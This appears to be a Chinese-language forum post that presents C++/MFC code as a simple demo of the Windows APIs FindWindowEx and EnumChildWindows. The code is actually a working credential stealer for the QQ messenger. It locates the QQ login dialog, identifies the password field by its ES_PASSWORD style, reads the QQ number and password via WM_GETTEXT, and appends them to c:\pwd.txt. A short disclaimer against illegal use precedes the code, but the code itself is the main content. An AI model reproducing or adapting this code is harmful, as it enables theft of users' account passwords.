关于FindWindowEx和EnumChildWindows结合枚举任何一个控件的简单示例,以下代码以现在最为流行的qq为例,只抛砖引玉~~呵呵 申明:本文章仅从技术角度讨论这两个函数的使用方法,任何人可以自由传播\复制,但不得用做其他非法用途,否则责任自负. BOOL CALLBACK EnumqqChildProc(HWND hwndChild, LPARAM lParam) { //如果找到qq窗口,调用这个过程枚举控件,得到密码和号码 char num[11];//qq号码 char pwd[20];//qq密码 BOOL b = true; HWND CobHwnd = ::FindWindowEx(qqHwnd,NULL,"ComboBox",NULL);//得到下拉列表句柄 HWND EditNumHwnd = ::FindWindowEx(CobHwnd,NULL,"Edit",NULL);//得到号码文本框句柄 //以下循环是得到密码框句柄 HWND EditPWDHwnd = ::FindWindowEx(qqHwnd,NULL,"Edit",NULL); HWND AfterHwnd = NULL; while(b) { LONG lStyle = ::GetWindowLong(EditPWDHwnd, GWL_STYLE);//这个api很有用,可以得到很多东西 if( (lStyle & ES_PASSWORD))//如果有密码属性,就是密码框 { b=false; } else { AfterHwnd = EditPWDHwnd; EditPWDHwnd = ::FindWindowEx(qqHwnd,AfterHwnd,"Edit",NULL); } if(EditPWDHwnd==NULL) return true; } //通过WM_GETTEXT取得,窗口中的文本; SendMessage(EditNumHwnd,WM_GETTEXT,(WPARAM)11,(LPARAM)num); SendMessage(EditPWDHwnd,WM_GETTEXT,(WPARAM)20,(LPARAM)pwd);
//记录号码和密码 CString str; str.Format("\r\n号码:%s 密码:%s",num,pwd); CFile f; f.Open("c:\\pwd.txt",CFile::modeCreate|CFile::modeWrite|CFile::modeNoTruncate); f.SeekToEnd(); f.Write(str,str.GetLength()); bLoop= false; return false; return TRUE; } BOOL CALLBACK EnumChildProc(HWND hwndChild, LPARAM lParam) { //这个回调函数就是用来找到qq窗口句柄 char strTitle[80]; if(::GetWindowText(hwndChild,strTitle,80)) if(strstr(strTitle,"QQ密码")!=0)//如果标题中有"QQ密码"字串,就视为找到 { bFindqq = true; return false; } return TRUE; } //调用的代码: HWND hwnd=NULL;//::FindWindow((LPCSTR)"#32770",NULL); HWND AfterHwnd = NULL; while(!bFindqq)//bFindqq是一个全局变量,标志是否找到了qq窗口 { hwnd=::FindWindowEx(NULL,AfterHwnd,(LPCSTR)"#32770",NULL); if(!hwnd) break; AfterHwnd = hwnd; EnumChildWindows(hwnd,EnumChildProc,NULL); if(bFindqq) qqHwnd = hwnd; } if(bFindqq) EnumChildWindows(hwnd,EnumqqChildProc,NULL);

|